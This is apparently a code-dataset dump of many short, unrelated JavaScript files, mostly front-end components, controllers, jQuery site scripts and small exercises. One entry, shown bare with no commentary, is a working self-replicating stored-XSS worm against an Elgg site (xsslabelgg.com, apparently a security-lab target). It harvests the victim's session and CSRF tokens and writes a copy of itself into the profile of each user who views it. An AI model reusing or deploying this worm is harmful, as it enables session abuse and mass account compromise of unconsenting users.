text
stringlengths 7
3.69M
|
|---|
import { GraphQLID, GraphQLString, GraphQLNonNull } from 'graphql'
import contentType from '../types/content'
import { ContentTypeEnum } from '../types/enums'
import resolve from '../resolvers/createContent'
const createContent = {
name: 'createContent',
type: contentType,
args: {
storyId: {
type: new GraphQLNonNull(GraphQLID)
},
type: {
type: new GraphQLNonNull(ContentTypeEnum)
}
},
resolve
}
export default createContent
|
import React from 'react'
import cancer from '../../images/paintings/cancer.jpg'
import PaintingsComponent from "../../components/paintings_component";
const Cancer = () => (
<PaintingsComponent image={cancer} title={'Cancer'}>
<p>Graphite and digital color</p>
</PaintingsComponent>
)
export default Cancer
|
import React from 'react';
import './App.css';
import Home from './containers/Home';
import Header from './components/Header';
import Hero from './components/Hero';
import Logo from './components/logo';
import{BrowserRouter as Router, Switch, Route} from 'react-router-dom';
import AboutUs from './containers/About us';
import Franchise from './containers/Franchise';
import News from './containers/News';
import ContactUs from './containers/ContactUs';
function App() {
return (
<Router>
<div className="App">
<Header/>
<Hero/>
<Route path="/"exact component={Home}/>
<Route path="/AboutUs" component={AboutUs}/>
<Route path="/Franchise" component={Franchise}/>
<Route path="/News" component={News}/>
<Route path="/ContactUs" component={ContactUs}/>
</div>
</Router>
);
}
export default App;
|
fs = require('fs'); //objeto de lectura
var documento;
fs.readFile('index.html', 'utf8',
function(err,datos) {
if (err) {
return console.log(err);
};
documento=datos;
});
var http=require('http');
var contador=0;
http.createServer(function (req, res) {
// res.writeHead(200, {'Content-Type': 'text/plain; charset=UTF-8'});
res.end(documento);
contador++;
console.log(contador);
}).listen(8080, '127.0.0.1');
console.log('Server running at http://127.0.0.1:8080/');
|
export default {
todos (state) {
return state.todosData
}
}
|
import React from 'react';
import HeaderTitle from './../Shared/HeaderTitle'
function UserDetail(){
return (
<div>
<HeaderTitle
title ="User Details"
tagline="user 1"
/>
</div>
)
}
export default UserDetail;
|
//Global variables
const productPrice = document.getElementsByClassName("price");
const productQuantity = document.getElementsByClassName("quantity");
const totalPriceDisplay = document.getElementsByClassName("total");
const actualTotal = document.getElementById("calc-prices");
const totalArr = [];
let totalValue;
let deleteButtons = document.getElementsByClassName("btn-delete");
let newProductName = document.getElementById("product-name");
let newProductPrice = document.getElementById("product-price");
const parent = document.getElementsByTagName("div")[0];
for(var i = 0; i<deleteButtons.length ; i++){
deleteButtons[i].onclick = deleteItem;
}
function deleteItem(e){
console.log("know")
e.currentTarget.parentNode.parentNode.remove();
}
function getTotalPrice() {
totalArr.splice(0, totalArr.length)
getPriceByProduct()
totalValue = totalArr.reduce((acc, cv) => acc += cv);
actualTotal.textContent = "$" + totalValue;
}
function getPriceByProduct(){
for(let i = 0; i < productPrice.length; i++){
totalPriceDisplay[i].textContent = productPrice[i].textContent * productQuantity[i].value;
totalArr.push(parseInt(totalPriceDisplay[i].textContent));
}
}
//function updatePriceByProduct(productPrice, index){
//}
function createQuantityInput(){
}
function createDeleteButton(){
}
function createQuantityNode(){
}
function createItemNode(dataType, itemData){
}
function createNewItemRow(itemName, itemUnitPrice){
}
function createNewItem(){
let name = newProductName.value.toString();
let price = newProductPrice.value.toString();
//CREATE ELEMENTS
let span1 = document.createElement("span");
let span2 = document.createElement("span");
let span3 = document.createElement("span");
let div1 = document.createElement("div");
let div2 = document.createElement("div");
let div3 = document.createElement("div");
let div4 = document.createElement("div");
let div5 = document.createElement("div");
let divWrapper = document.createElement("div")
let label = document.createElement("label");
let input = document.createElement("input");
let deleteButton = document.createElement("button");
//CREATE TEXT NODES
let productInputLabel = document.createTextNode(name);
let priceInputLabel = document.createTextNode(price + ".00");
let priceTotal = document.createTextNode("00.00");
let quantityLabel = document.createTextNode(" QTY ");
let divText = document.createTextNode(" $");
let divText2 = document.createTextNode(" $");
let deleteButtonText = document.createTextNode("Delete");
divWrapper.setAttribute("class", "wrapper");
span1.appendChild(productInputLabel)
div1.appendChild(span1)
div2.appendChild(divText2)
divWrapper.appendChild(div1)
div2.appendChild(divText)
span2.appendChild(priceInputLabel)
span2.setAttribute("class", "price")
div2.appendChild(span2)
divWrapper.appendChild(div2)
label.appendChild(quantityLabel)
input.setAttribute("class", "input quantity");
input.setAttribute("type", "number");
label.appendChild(input)
div4.appendChild(divText);
div3.appendChild(label)
divWrapper.appendChild(div3)
span3.appendChild(priceTotal)
span3.setAttribute("class", "total")
div4.appendChild(span3)
divWrapper.appendChild(div4);
deleteButton.setAttribute("class", "btn btn-delete");
deleteButton.appendChild(deleteButtonText)
div5.appendChild(deleteButton);
divWrapper.appendChild(div5);
parent.appendChild(divWrapper);
for(var i = 0; i<deleteButtons.length ; i++){
deleteButtons[i].onclick = deleteItem;
}
}
window.onload = function(){
var calculatePriceButton = document.getElementById('calc-prices-button');
var createItemButton = document.getElementById('new-item-create');
calculatePriceButton.onclick = getTotalPrice;
createItemButton.onclick = createNewItem;
};
|
'use strict';
/**
* @ngdoc function
* @name yangApp.controller:AboutCtrl
* @description
* @author Kun Arief Darmawan
* @email koenarief@gmail.com
* # AboutCtrl
* Controller of the yangApp
*/
angular.module('yangApp')
.controller('AboutCtrl', function ($scope) {
$scope.awesomeThings = [
'HTML5 Boilerplate',
'AngularJS',
'Karma'
];
});
|
const express = require('express')
const timber = require('../../../timber_node/dist')
const app = express()
const transport = new timber.transports.HTTPS(process.env.TIMBER_KEY);
timber.install(transport);
// This will log to the Timber dashboard
console.log(`hello there! Listening on ${process.env.PORT}`)
console.warn("Payment rejected", {
event: {
payment_rejected: { customer_id: "abcd1234", amount: 100, reason: "Card expired" }
}
});
app.use(timber.middlewares.express())
app.listen(process.env.PORT)
|
import React, { Component } from 'react';
import { Works, ToyProject } from '../../components/pages/index';
class Portfolio extends Component {
constructor(props) {
super(props);
this.state = {
type: 'works',
};
}
componentDidMount() {
this.setState({
type: this.props.match.params.type,
});
}
componentDidUpdate(lastProps) {
if (lastProps.match.params.type !== this.props.match.params.type) {
this.setState({
type: this.props.match.params.type,
});
}
}
render() {
const { type } = this.state;
return (
<>
{type === 'works' && <Works />}
{type === 'toyproject' && <ToyProject />}
</>
);
}
}
export default Portfolio;
|
angular.module("starter")
.controller("OrdersNewCtrl", function($scope, $stateParams, $ionicPopup, $state, OrdersService){
$scope.order = angular.fromJson($stateParams.order);
$scope.order.customer = {};
$scope.ordersCreate = function(){
orderParams = {
params : {
carro : $scope.order.car,
preco : $scope.order.total,
nome : $scope.order.customer.name,
endereco : $scope.order.customer.address,
email : $scope.order.customer.email
}
};
OrdersService.postSave(orderParams).then(function(data){
$ionicPopup.alert({
title : "Parabéns!",
template : "Você acaba de comprar um carro."
}).then(function(){
$state.go("carsIndex");
});
}, function(error){
$ionicPopup.alert({
title : "Erro!",
template : "Todos os campos são obrigatórios!"
});
});
};
});
|
'use strict';
angular.module('myApp.home', ['ngRoute'])
.config(['$routeProvider', function($routeProvider){
$routeProvider.when('/', {
templateUrl: 'home/home.html',
controller: 'HomeCtrl',
});
}])
.controller('HomeCtrl', ['$scope', '$location', '$firebaseArray', '$firebaseObject', 'Auth', 'FURL',
function($scope, $location, $firebaseArray, $firebaseObject, Auth, FURL){
$scope.createList = function(){
// create new ref in Firebase
var ref = new Firebase(FURL);
var listsRef = ref.child('lists');
var lists = $firebaseArray(listsRef);
var list = {};
var authData = Auth.$getAuth();
list.created = Firebase.ServerValue.TIMESTAMP;
list.tasks = 0;
list.title = "Undefined";
if (authData){
list.uid = authData.uid;
console.log(":"+ list.uid);
list.owner = authData.password.email;
}
lists.$add(list)
.then(function(ref){
// redirect to list
$location.path('/lists/' + ref.key());
});
}
}]);
|
var db = require('../db')
var authinfo = db.model('AuthInfo', {
user_id: {type: String, required: true },
token_type: { type: String, required: true },
access_token: { type: String, required: true },
expires_in: { type: String, requried: true } ,
refresh_token: { type: String, requried: true }
})
module.exports = authinfo
|
window.jcube = {}
window.jcube.form = function( element, callback ){
element.find('.submit').click(function(){
var values = {};
var action = element.attr("action");
$(".pinched").remove();
element.find("input[type='text'],input[type='hidden'],input[type='checkbox'],input[type='password'],textarea,select,input[type='radio']:checked").each(function(){
var name = $(this).attr("name");
var ck_editor = $(this).hasClass("ckeditor")
if (ck_editor)
{
var p = $(this).parents(".item").find(".cke_contents").find("iframe");
values[name] = p.contents().find("body").html();
}
else
{
if ($(this).attr("type") == "checkbox")
{
values[name] = $(this).attr("checked") ? true : false
}
else
values[name] = $(this).val();
}
});
$.post(action, values, function(e){
if (e && e.code ) {
if (e.code < 0)
{
for (form_key in e.message)
{
var o = element.find("*[name=" + form_key + "]");
var tip = $(document.createElement("div")).addClass("pinched");
tip.html(e.message[form_key].error)
tip.hide();
// o.parents(".item").addClass("error")
tip.insertAfter(o);
tip.fadeIn();
}
}
} else {
callback(e);
}
},"json");
return false;
});
}
|
jQuery(document).ready(function(){
jQuery('#slippry-demo').slippry({
controls: false
//pager: false // remove o pager do slider
})
});
jQuery(document).ready(function(){
jQuery('#slider-topo').slippry({
controls: false,
pager: false,
controls: true
//pager: false // remove o pager do slider
})
});
jQuery(document).ready(function(){
$('input[type="checkbox"]').on('change', function() {
$('input[name="' + this.name + '"]').not(this).prop('checked', false);
});
$('.filtro_pacote').change(function() {
var arr = [];
var cont = 0;
$('.filtro_pacote').each(function() {
var id = $(this).attr('id');
var chec = document.getElementById(id).checked;
if(chec === true){
arr[cont] = id;
cont = cont +1;
}
});
var lista_id = "";
for (var i = 0; i < arr.length; i++) {
lista_id = lista_id + '.'+arr[i]+'_div_pacote';
};
$('.allitem_div_pacote').hide('slow').removeClass('pacote_ativo');
$(''+lista_id+'').each(function() {
var has = $(this).hasClass('preco_ativo');
if( has === true){
// console.log('hassa');
$(this).show('slow').addClass('pacote_ativo');
}
});
});
$('.filtro_pacote_parcela').change(function(){
var id3 = $(this).attr('id');
var de = parseInt($(this).attr('de'));
var ate = parseInt($(this).attr('ate'));
if(id3 == 'allitem_parcela'){
// console.log('aa');
$('.allitem_div_pacote').each(function() {
var has2 = $(this).hasClass('pacote_ativo');
if( has2 === true ){
$(this).show('slow').addClass('preco_ativo');
}
});
}else{
$('.allitem_div_pacote').each(function() {
var id2 = $(this).attr('id');
var valor = parseInt($('.parcela_'+id2).text().replace(".", ""));
// console.log('de '+de);
// console.log('ate '+ate);
// console.log('valor '+valor);
var has = $('#'+id2+'').hasClass('pacote_ativo');
if( has === true){
if((valor >= de) && (valor <= ate)){
$('#'+id2).show('slow');
$('#'+id2).addClass('preco_ativo');
}else{
$('#'+id2).hide('slow');
$('#'+id2).removeClass('preco_ativo');
}
}
});
}
});
// $('.monte-box-form-footer').mouseover(function() {
// $('.outer-form').css({ opacity: '1'});
// });
// $('.monte-box-form-footer').mouseout(function() {
// $('.outer-form').css({ opacity: '0'});
// });
});
jQuery(document).ready(function(){
$('[data-toggle="tooltip"]').tooltip();
});
jQuery(document).ready(function(){
$('.btn_tenho_int').click(function(){
$('html, body').animate({scrollTop: $('#sessao_contato').offset().top -120});
});
$('#btncontato').click(function(){
$('html, body').animate({scrollTop: $('#sessao_contato').offset().top -120});
});
$('#btnlojas').click(function(){
$('html, body').animate({scrollTop: $('#sessao_lojas').offset().top -120});
});
$('#btnempresa').click(function(){
$('html, body').animate({scrollTop: $('#sessao_empresa').offset().top -580});
});
$('.monte-box-form-footer').mouseover(function() {
$('.outer-form').show();
$('.outer-form').css({
opacity: '1'
});
});
$('.container_testehover').mouseenter(function() {
$('.outer-form').css({
opacity: '0' //0
});
});
$('.monte-box-form-footer').mouseleave(function() {
// console.log($('.outer-div').is(":hover"));
// console.log('=='+$('.monte-box-form-footer').is(":hover"));
if($('.outer-div').is(":hover")){
// console.log('aqui');
// console.log('éé'+$('.outer-form').is(":hover"));
}else{
$('.outer-form').css({
opacity: '0' //0
});
$('.outer-form').hide();
// console.log('aqui2');
}
});
$('.outer-form').mouseleave(function() {
if(! ($('.monte-box-form-footer').is(":hover")) ){
$('.outer-form').css({
opacity: '0'
});
$('.outer-form').hide();
}
});
});
$(document).ready(function(){
$('selector').slippry();
$('#slippry').slippry({
controls: false,
prevClass: 'nullprev',
nextClass: 'nullnext'
});
$('#slippry50anos').slippry();
});
$(document).ready(function(){
// adicionando a paginação da página aberta do blog como ativa
var str = $(location).attr('href');
var segments = str.split( '/' );
var page = segments[5];
var page2 = segments[0] + "//" + segments[2] + "/" + segments[3] + "/";
if (str === page2)
{
$('a.item-1').parent().addClass("active");
}
$('a.item-'+page).parent().addClass("active");
});
$(document).ready(function(){
var str = $(location).attr('href');
var segments = str.split( '/' );
var page = segments[3];
var categoria = segments[4];
if (page === 'pacotes')
{
$('#m-logo-t').css("background-image", "url(http://aeroturnovo.quadradigital.com.br/wp-content/themes/aerotur/assets/img/logo_aerotur.png)");
$('.menuviagens').css('background','#9B0D1C');
$('.m-viagens-t').css('color','#FFF');
/*
$('.menuviagens span').text('GRUPO');
$('.m-viagens-t').css('color','#B7986D');
$('.menuviagens').css('border-top', '3px solid #B7986D');
$('#link-pacotes').attr('href', segments[0] + "//" + segments[2] + "/");
$('.menuviagens').hover(function(){
$('.m-viagens-t').css('color','#FFF');
$(this).css('background','#B7986D');
}, function(){
$('.m-viagens-t').css('color','#B7986D');
$(this).css('background','#FFF');
});
*/
if (categoria === '?cat=cruzeiros') {
$('#allitem').click();
$('#Cruzeiros').click();
} else if (categoria === '?cat=internacionais') {
$('#allitem').click();
$('#PacotesInternacionais').click();
} else if (categoria === '?cat=nacionais') {
$('#allitem').click();
$('#PacotesNacionais').click();
}
} else if (page === '' || page == 'blog') {
$('#m-logo-t').css("background-image", "url(http://aeroturnovo.quadradigital.com.br/wp-content/themes/aerotur/assets/img/logo_aerotur.png)");
} else if (page === 'corporativo') {
$('#m-logo-t').css("background-image", "url(http://aeroturnovo.quadradigital.com.br/wp-content/themes/aerotur/assets/img/logo_aerotur.png)");
$('.menucorp').css('background','#195e85');
$('.m-corp-t').css('color','#FFF');
/*
$('.menucorp span').text('GRUPO');
$('.m-corp-t').css('color','#B7986D');
$('.menucorp').css('border-top', '3px solid #B7986D');
$('#link-corp').attr('href', segments[0] + "//" + segments[2] + "/");
$('.menucorp').hover(function(){
$('.m-corp-t').css('color','#FFF');
$(this).css('background','#B7986D');
}, function(){
$('.m-corp-t').css('color','#B7986D');
$(this).css('background','#FFF');
});
*/
} else if (page === 'salinas') {
$('#m-logo-t').css("background-image", "url(http://aeroturnovo.quadradigital.com.br/wp-content/themes/aerotur/assets/img/logo_aerotur.png)");
$('#btnempresa').css('display', 'none');
$('#btnblog').css('display', 'none');
$('.menusalinas').css('background','#3abfba');
$('.m-salinas-t').css('color','#FFF');
} else {
$('#m-logo-t').css("background-image", "url(http://aeroturnovo.quadradigital.com.br/wp-content/themes/aerotur/assets/img/logo_aerotur.png)");
}
});
$(document).ready(function(){
var endereco = window.location.href;
if (endereco === 'http://aeroturnovo.quadradigital.com.br/') {
$('.tit_raz').css('color','#9b0d1a');
}
});
$(document).ready(function(){
/*
$('div.infoBox p').css('color', '#FFF');
$('div.infoBox p').css('font-weight', '700');
$('div.infoBox p').css('margin-top', '10px');
$('.infoBox').css('background-color', '#b7986d');
$('.infoBox').css('border', '1px solid #b7986d');
*/
});
$(document).ready(function(){
// JQUERY MASK PLUGIN
$('.inputTelefone').mask('(00) 0000-0000');
$('#inputCelular').mask('(00) 00000-0000');
$('#inputIDA').mask('00/00/0000');
$('#inputVolta').mask('00/00/0000');
});
$(document).ready(function(){
// Add smooth scrolling to all links
$("a").on('click', function(event) {
// Make sure this.hash has a value before overriding default behavior
if (this.hash !== "") {
// Prevent default anchor click behavior
//event.preventDefault();
// Store hash
var hash = this.hash;
// Using jQuery's animate() method to add smooth page scroll
// The optional number (800) specifies the number of milliseconds it takes to scroll to the specified area
$('html, body').animate({
scrollTop: $(hash).offset().top
}, 800, function(){
// Add hash (#) to URL when done scrolling (default click behavior)
window.location.hash = hash;
});
} // End if
});
});
$(document).ready(function(){
// Menu Pacotes
$('#A').mouseover(function(event){
event.preventDefault();
$('#li_nac li.nav').css('background', '#e5e5e5');
$('#A').addClass('in active');
$('#B').removeClass('in active');
$('#C').removeClass('in active');
});
$('#B').mouseover(function(event){
event.preventDefault();
$('#li_int li.nav').css('background', '#e5e5e5');
$('#B').addClass('in active');
$('#A').removeClass('in active');
$('#C').removeClass('in active');
});
$('#C').mouseover(function(event){
event.preventDefault();
$('#li_cru li.nav').css('background', '#e5e5e5');
$('#C').addClass('in active');
$('#A').removeClass('in active');
$('#B').removeClass('in active');
});
$('#A').mouseleave(function(event){
event.preventDefault();
$('#li_nac li.nav').css('background', 'rgba(255, 255, 255, 0)');
$('#A').removeClass('in active');
$('#C').removeClass('in active');
});
$('#B').mouseleave(function(event){
event.preventDefault();
$('#li_int li.nav').css('background', 'rgba(255, 255, 255, 0)');
$('#C').removeClass('in active');
$('#A').removeClass('in active');
$('#B').removeClass('in active');
});
$('#C').mouseleave(function(event){
event.preventDefault();
$('#li_cru li.nav').css('background', 'rgba(255, 255, 255, 0)');
$('#C').removeClass('in active');
$('#B').removeClass('in active');
});
$('#li_nac li.nav').mouseover(function(event){
event.preventDefault();
$('#A').addClass('in active');
$('#B').removeClass('in active');
$('#C').removeClass('in active');
});
$('#li_int li.nav').mouseover(function(event){
event.preventDefault();
$('#B').addClass('in active');
$('#A').removeClass('in active');
$('#C').removeClass('in active');
});
$('#li_cru li.nav').mouseover(function(event){
event.preventDefault();
$('#C').addClass('in active');
$('#B').removeClass('in active');
$('#A').removeClass('in active');
});
$('#li_nac li.nav').mouseleave(function(event){
event.preventDefault();
$('#B').removeClass('in active');
$('#C').removeClass('in active');
$('#A').removeClass('in active');
});
$('#li_int li.nav').mouseleave(function(event){
event.preventDefault();
$('#A').removeClass('in active');
$('#C').removeClass('in active');
$('#B').removeClass('in active');
});
$('#li_cru li.nav').mouseleave(function(event){
event.preventDefault();
$('#B').removeClass('in active');
$('#A').removeClass('in active');
$('#C').removeClass('in active');
});
// Menu A Empresa
$('li#mm_historia').mouseover(function(){
$('div#mm_historia').css('display','block');
$('div#mm_equipe').css('display','none');
$('div#mm_missao').css('display','none');
});
$('li#mm_equipe').mouseover(function(){
$('div#mm_equipe').css('display','block');
$('div#mm_missao').css('display','none');
$('div#mm_historia').css('display','none');
});
$('li#mm_missao').mouseover(function(){
$('div#mm_missao').css('display','block');
$('div#mm_historia').css('display','none');
$('div#mm_equipe').css('display','none');
});
});
|
'use strict';
var _ = require('lodash');
var expect = require('expect');
var loginConfig = require('../../lib/login-config');
describe('login-config', function(){
var cleanConfig = {
loginUrl: '/login',
logoutUrl: '/logout',
popup: true,
cookie: 'clean'
};
var dirtyConfig = {
widgetUrl: '/signin',
signOutUrl: '/signout',
popupMode: false,
cookieName: 'dirty'
};
it('normalizes an options object', function(done){
var config = loginConfig(cleanConfig);
var expected = {
widgetUrl: '/login',
signOutUrl: '/logout',
popupMode: true,
cookieName: 'clean'
};
expect(config).toEqual(expected);
done();
});
it('uses Gitkit properties before clean properties', function(done){
var config = loginConfig(_.assign({}, cleanConfig, dirtyConfig));
var expected = {
widgetUrl: '/signin',
signOutUrl: '/signout',
popupMode: false,
cookieName: 'dirty'
};
expect(config).toEqual(expected);
done();
});
it('has a default config', function(done){
var config = loginConfig();
var expected = {
widgetUrl: '/login',
signOutUrl: '/',
popupMode: false,
cookieName: 'gtoken'
};
expect(config).toEqual(expected);
done();
});
});
|
import { Mongo } from 'meteor/mongo';
import { SimpleSchema } from 'meteor/aldeed:simple-schema';
const Bookmarks = new Mongo.Collection('bookmarks');
export default Bookmarks;
const createThumb = (fileObj, readStream, writeStream) => {
gm(readStream, fileObj.name()).resize('200', '160').quality(80).stream().pipe(writeStream);
};
const imageStore = new FS.Store.GridFS("images", {
transformWrite: createThumb
});
export const Images = new FS.Collection("images", {
stores: [imageStore]
});
Images.allow({
download: () => {
return true
}
});
BookmarksSchema = new SimpleSchema({
"title": {
type: String,
label: "Bookmark Name"
},
"url": {
type: String,
label: "Bookmark description",
},
"favicon": {
type: String,
label: "Bookmark icon",
optional: true
},
"image": {
type: String,
label: "Bookmark icon",
optional: true
},
"webshotId": {
type: String,
label: "Id of Webshot image",
optional: true
},
"views": {
type: Number,
label: "Number of views",
defaultValue: 0
},
"folderId": {
type: String,
label: "Parent folder"
},
"createdAt": {
type: Date,
label: "Date of creation",
autoValue: function() {
if ( this.isInsert ) {
return new Date();
}
}
}
});
Bookmarks.attachSchema(BookmarksSchema);
|
function mostrar()
{
//tomo la edad
var edad;
edad=prompt("Ingrese la edad");
if (edad=15)
{
alert("niña bonita")
}
}//FIN DE LA FUNCIÓN
|
const Dom = {
create: function(className) {
let el = document.createElement('div');
el.className = className;
return el;
},
closest: function(el, s) {
if (!document.documentElement.contains(el)) return null;
do {
if (el.matches(s)) return el;
el = el.parentElement || el.parentNode;
} while (el !== null && el.nodeType === 1);
return null;
}
};
module.exports = Dom;
|
var Storage = function(chrome) {
this.localStorageKeys = [
'accessToken',
'error',
'errorDescription'
];
this.getLocalStorageKeys = function(keys, callback) {
keys = keys || this.localStorageKeys;
chrome.storage.local.get(keys, function (items) {
callback(items);
})
};
this.clearLocalStorageKeys = function() {
chrome.storage.local.clear();
};
};
|
document.addEventListener('DOMContentLoaded', function() {
inicio.iniciarJuego();
}, false);
var inicio = {
iniciarJuego: function () {
ajax.cargarArchivo("mapas/cendero.json");
teclado.iniciar();
console.log("El Juego Empezo");
dimensiones.iniciar();
mando.iniciar();
inicio.recargarTiles();
buclePrimario.iterar();
},
recargarTiles: function() {
document.getElementById("juego").innerHTML = "";
for (var y = 0; y < dimensiones.obtenerTilesVertical(); y++) {
for (var x = 0; x < dimensiones.obtenerTilesHorizontal(); x++) {
var r = new Rectangulo(x * dimensiones.ladoTiles, y * dimensiones.ladoTiles, dimensiones.ladoTiles, dimensiones.ladoTiles);
}
}
}
};
var dimensiones = {
ancho: window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth,
alto: window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,
ladoTiles: 100,
escala: 1,
iniciar: function() {
window.addEventListener("resize", function(evento) {
dimensiones.ancho = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
dimensiones.alto = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
console.log("Ancho: " + dimensiones.ancho + " Alto: " + dimensiones.alto);
inicio.recargarTiles();
});
},
obtenerTilesHorizontal: function() {
var ladoFinal = dimensiones.ladoTiles * dimensiones.escala;
return Math.ceil((dimensiones.ancho - ladoFinal) / ladoFinal);
},
obtenerTilesVertical: function() {
var ladoFinal = dimensiones.ladoTiles * dimensiones.escala;
return Math.ceil((dimensiones.alto - ladoFinal) / ladoFinal);
},
obtenerTilesTotal: function() {
return dimensiones.obtenerTilesHorizontal() * dimensiones.obtenerTilesVertical();
}
};
|
import React, { Component } from 'react';
import axios from 'axios';
import Header from '../components/header';
import Footer from '../components/footer';
import {Redirect} from "react-router-dom";
import {connect} from "unistore/react";
import {actions} from '../components/store';
import {withRouter} from "react-router-dom";
import '../style/1.css';
import Product from '../components/product';
class EditProduct extends Component {
handleClick(e){
e.preventDefault();
const {url_image, status, vendor, name, price, processor, ram, memory, camera, other_description, stock, location} = e.target;
var data ={};
data.url_image = url_image.value;
data.status = status.value;
data.vendor = vendor.value;
data.name = name.value;
data.price = price.value;
data.processor = processor.value;
data.ram = ram.value;
data.memory = memory.value;
data.camera = camera.value;
data.other_description = other_description.value;
data.stock = stock.value;
data.location = location.value;
const token = this.props.token;
const id = this.props.productid;
const self =this;
console.log(" add product data", data);
let reqAdd = {
method:'put',
url:this.props.corsHandle + this.props.ipAddress +'user/product/' + id,
// url:'http://localhost:8002/user/product/' + id,
headers: {
'Authorization':'Bearer ' + token,
"X-Requested-With": "http://13.58.84.95"
},
params : data
};
axios(reqAdd)
.then(function(response){
console.log(response.data);
self.props.history.push("/myproduct");
});
};
render() {
if (this.props.is_login === false){
return <Redirect to ={{ pathname: "/signin"}} />;
}else{
return (
<div>
<div className="container-fluid">
<div className="row">
<Header/>
</div>
</div>
<body className="text-center">
<form className="form-register" onSubmit={e => this.handleClick(e)}>
<img className="mb-4" src={require('../images/logo2.png')} alt="" className="logo1"/>
<h1 className="h3 mb-3 font-weight-normal">Edit product</h1>
<label for="inputUrl_image" className="sr-only">Url image</label>
<input type="username" id="inputUrl_image" className="form-control" name="url_image" placeholder="Url image" required autofocus/>
<label for="inputStatus" className="sr-only">Status</label>
<input type="username" id="inputUstatus" className="form-control" name="status" placeholder="Status" required autofocus/>
<label for="inputvendor" className="sr-only">vendor</label>
<input type="username" id="inputVendor" className="form-control" name="vendor" placeholder="Vendor" required autofocus/>
<label for="inputname" className="sr-only">name</label>
<input type="username" id="inputname" className="form-control" name="name" placeholder="Name" required autofocus/>
<label for="inputPrice" className="sr-only">Price</label>
<input type="Username" id="inputPrice" className="form-control" name="price" placeholder="Price" required autofocus/>
<label for="inputProcessor" className="sr-only">Processor</label>
<input type="username" id="inputProcessor" className="form-control" name="processor" placeholder="Processor" required autofocus/>
<label for="inputram" className="sr-only">ram</label>
<input type="username" id="inputram" className="form-control" name="ram" placeholder="ram" required autofocus/>
<label for="inputMemory" className="sr-only">Memory</label>
<input type="username" id="inputMemory" className="form-control" name="memory" placeholder="Memory" required autofocus/>
<label for="inputCamera" className="sr-only">Camera</label>
<input type="username" id="inputCamera" className="form-control" name="camera" placeholder="Camera" required autofocus/>
<label for="inputOther_description" className="sr-only">Other_description</label>
<input type="username" id="inputOther_description" className="form-control" name="other_description" placeholder="Other_description" required autofocus/>
<label for="inputstock" className="sr-only">stock</label>
<input type="username" id="inputstock" className="form-control" name="stock" placeholder="stock" required autofocus/>
<label for="inputLocation" className="sr-only">Location</label>
<input type="Telephone" id="inputLocation" className="form-control" name="location" placeholder="Location" required autofocus/>
<button className="btn btn-lg btn-primary btn-block" type="submit">Submit change</button>
<p className="mt-5 mb-3 text-muted">© 2019</p>
</form>
</body>
<div className="container-fluid">
<div className="row">
<Footer />
</div>
</div>
</div>
);
}
}};
export default connect(
"is_login, token, productid, corsHandle, ipAddress", actions)
(withRouter(EditProduct))
|
const theaterReducer = (state = {theaters: [], loading: false}, action) => {
switch(action.type) {
case "LOADING_THEATERS":
return {
...state,
loading: true
}
case "FETCH_THEATERS":
return {
...state,
theaters: action.payload,
loading: false
}
case "ADD_THEATER":
return {
...state,
loading: true
}
case "THEATER_ADDED":
return {
...state,
theaters: [...state.theaters, action.payload],
loading: false
}
case "ADD_THEATER_PRODUCTION":
return {
...state,
loading: true
}
case "THEATER_PRODUCTION_ADDED":
// const newTheaters = state.theaters.map((th) => {
// if (th.id === action.payload.theater_id) {
// return {...th, productions: [...th.productions, action.payload]}
// } else {
// return th
// }
// })
return {
...state,
theaters: [...state.theaters, action.payload],
loading: false
}
default:
return state;
}
}
export default theaterReducer
|
<script id=worm type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</sc"+"ript>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName = elgg.session.user.name;
var guid = "&guid="+elgg.session.user.guid;
var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
var token = "&__elgg_token="+elgg.security.token.__elgg_token;
var bd = "&description=Samy is my hero"+wormCode+"&accesslevel[description]=2"
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var content = userName+guid+ts+token+bd;
var samyGuid = 47
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax = new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
|
app.controller('NavigationController', ['$rootScope', '$scope', '$http', 'Auth',
function($rootScope, $scope, $http, Auth) {
$scope.isLoggedIn = Auth.isAuthenticated();
$scope.username = Auth.getUser().email;
$scope.$on('loginStatusChanged', function (event, data) {
$scope.isLoggedIn = data.logged;
$scope.username = Auth.getUser().email;
});
$scope.signin = function(credentials) {
//Clear previous error
$scope.error = "";
Auth.login(credentials).then(
function(user) {
$scope.username = user.email;
},
function(error) {
$scope.error = error;
}
);
};
$scope.logout = function() {
Auth.logout();
}
}]);
|
app.factory("authFactory", function($http){
var user;
var Auth = {};
$http.get('/api/users/me').then(res => {
if(res.status === 200) user = res;
});
Auth.currentUser = function(){
return user;
};
Auth.createUser = function(email, password){
return $http.post('/api/users/', {email:email, password:password})
.then(function(response){
// console.log(response);
if(response.status === 201){
user = response.data;
}
});
};
Auth.accessUser = function(email, password){
return $http.post('/api/users/login', {email:email, password:password})
.then(function(response){
// console.log(response);
if(response.status === 200){
user = response.data;
}
});
};
Auth.logout = function(){
return $http.delete('api/users/logout')
.then(res => {
user = null;
});
};
return Auth;
});
|
const diceCoefficient = require('./diceCoefficient');
const libraryDeduplicator = (libraries) => {
const threshold = 0.7
const deduplicatedLibraries = [{libraryName: libraries[0], count: 1}];
for (let i = 1; i < libraries.length; i++) {
for (let j = 0; j < deduplicatedLibraries.length; j++) {
const similarity = diceCoefficient(deduplicatedLibraries[j].libraryName, libraries[i]);
if (similarity >= threshold) {
deduplicatedLibraries[j].count += 1;
break;
} else if (j === deduplicatedLibraries.length - 1) {
deduplicatedLibraries.push({libraryName: libraries[i], count: 1})
break;
}
}
}
return deduplicatedLibraries;
}
module.exports = libraryDeduplicator;
|
var seconds : double;
var textPosition : Rect;
var font: Font;
function Start()
{
textPosition = Rect( 10 , Screen.height - 30, 1000, 30);
}
function OnGUI()
{
GUI.Label(textPosition, "Extinguisher Level "+((seconds/10)*100).ToString("#.#")+" %");
}
|
var path = require("path");
var glob = require("glob");
